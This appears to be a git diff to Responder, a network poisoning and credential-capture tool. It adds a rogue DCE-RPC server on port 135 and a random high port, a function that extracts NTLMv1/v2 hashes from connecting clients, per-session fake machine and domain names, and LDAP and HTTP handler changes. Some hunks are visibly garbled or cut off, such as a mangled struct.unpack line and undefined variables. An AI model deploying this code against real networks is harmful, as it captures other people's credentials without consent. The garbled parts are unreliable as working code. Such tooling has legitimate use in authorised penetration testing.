diff --git a/Responder.conf b/Responder.conf index 707a085..7204f3b 100644 --- a/Responder.conf +++ b/Responder.conf @@ -13,6 +13,7 @@ HTTP = On HTTPS = On DNS = On LDAP = On +DCERPC = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index d019fea..4e9e1c4 100755 --- a/Responder.py +++ b/Responder.py @@ -270,6 +270,11 @@ def main(): from servers.RDP import RDP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,))) + if settings.Config.DCERPC_On_Off: + from servers.RPC import RPCMap, RPCMapper + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,))) + if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,))) diff --git a/servers/DNS.py b/servers/DNS.py index 045264e..faa7d81 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -33,7 +33,7 @@ def ParseDNSType(data): class DNS(BaseRequestHandler): def handle(self): - # Break out if we don't want to respond to this host + # Ditch it if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None diff --git a/servers/HTTP.py b/servers/HTTP.py index 2cf5216..2701ca8 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -222,7 +222,7 @@ def PacketSequence(data, client, Challenge): else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return NetworkSendBufferPython2or3(Buffer) + return Buffer elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -248,7 +248,7 @@ def PacketSequence(data, client, Challenge): else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return NetworkSendBufferPython2or3(Buffer) + return Buffer else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() @@ -308,6 +308,6 @@ class HTTP(BaseRequestHandler): Buffer = PacketSequence(data,self.client_address[0], Challenge) self.request.send(NetworkSendBufferPython2or3(Buffer)) - except socket.error: + except: pass diff --git a/servers/LDAP.py b/servers/LDAP.py index 2ea817a..8bbd976 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -25,9 +25,6 @@ import struct import codecs import random -def GenerateNetbiosName(): - return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) - def CalculateDNSName(name): if isinstance(name, bytes): name = name.decode('latin-1') @@ -41,7 +38,6 @@ def CalculateDNSName(name): return Dnslen, DomainPrefix def ParseCLDAPNetlogon(data): - #data = NetworkSendBufferPython2or3(data) try: Dns = data.find(b'DnsDomain') if Dns is -1: @@ -66,21 +62,25 @@ def ParseCLDAPNetlogon(data): def ParseSearch(data): TID = data[8:9].decode('latin-1') if re.search(b'Netlogon', data): - NbtName = GenerateNetbiosName() + NbtName = settings.Config.MachineName TID = NetworkRecvBufferPython2or3(data[8:10]) + if TID[1] == "\x63": + TID = "\x00"+TID[0] DomainName, DomainGuid = ParseCLDAPNetlogon(data) DomainGuid = NetworkRecvBufferPython2or3(DomainGuid) t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1]) t.calculate() return str(t) - if re.search(b'(objectClass)', data): - return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) - elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): - return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) + elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) + + if re.search(b'(objectClass)', data): + return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) + def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 SSPIStart = data.find(b'NTLMSSP') SSPIString = data[SSPIStart:] @@ -143,9 +143,10 @@ def ParseNTLM(data,client, Challenge): def ParseCLDAPPacket(data, client, Challenge): if data[1:2] == b'\x84': - PacketLen = struct.unpack('>i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[2:6])[0] + if Operation == b'\x84': + Operation = data[9:10] sasl = data[20:21] OperationHeadLen = struct.unpack('>i',data[11:15])[0] LDAPVersion = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('. +from utils import * +import struct +import re +import ssl +import codecs + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego + +NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2 +Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1 +MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa" + +#for mapper +DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4 +LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0 +NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1 +WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1 + + + +def Chose3264x(packet): + if Map32 in packet: + return Map32 + else: + return Map64 + +def FindNTLMOpcode(data): + SSPIStart = data.find(b'NTLMSSP') + if SSPIStart is -1: + return False + SSPIString = data[SSPIStart:] + return SSPIString[8:12] + +def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2 + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') + DomainLen = struct.unpack('. -import utils, sys +import utils, sys, random if (sys.version_info > (3, 0)): import configparser as ConfigParser else: @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.4.0' +__version__ = 'Responder 3.0.5.0' class Settings: @@ -96,6 +96,7 @@ class Settings: self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) + self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) # Db File @@ -159,6 +160,12 @@ class Settings: self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) + #Generate Random stuff for one Responder session + self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) + self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) + self.DomainName = self.Domain + '.LOCAL' + self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName + self.RPCPort = random.randrange(45000, 49999) # Auto Ignore List self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) diff --git a/utils.py b/utils.py index ef27ed7..44eb8c2 100644 --- a/utils.py +++ b/utils.py @@ -386,6 +386,7 @@ def StartupMessage(): print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) + print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "HTTP Options:") @@ -420,4 +421,9 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + print('') + print(color("[+] ", 2, 1) + "Current Session Variables:") + print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) + print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) + print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))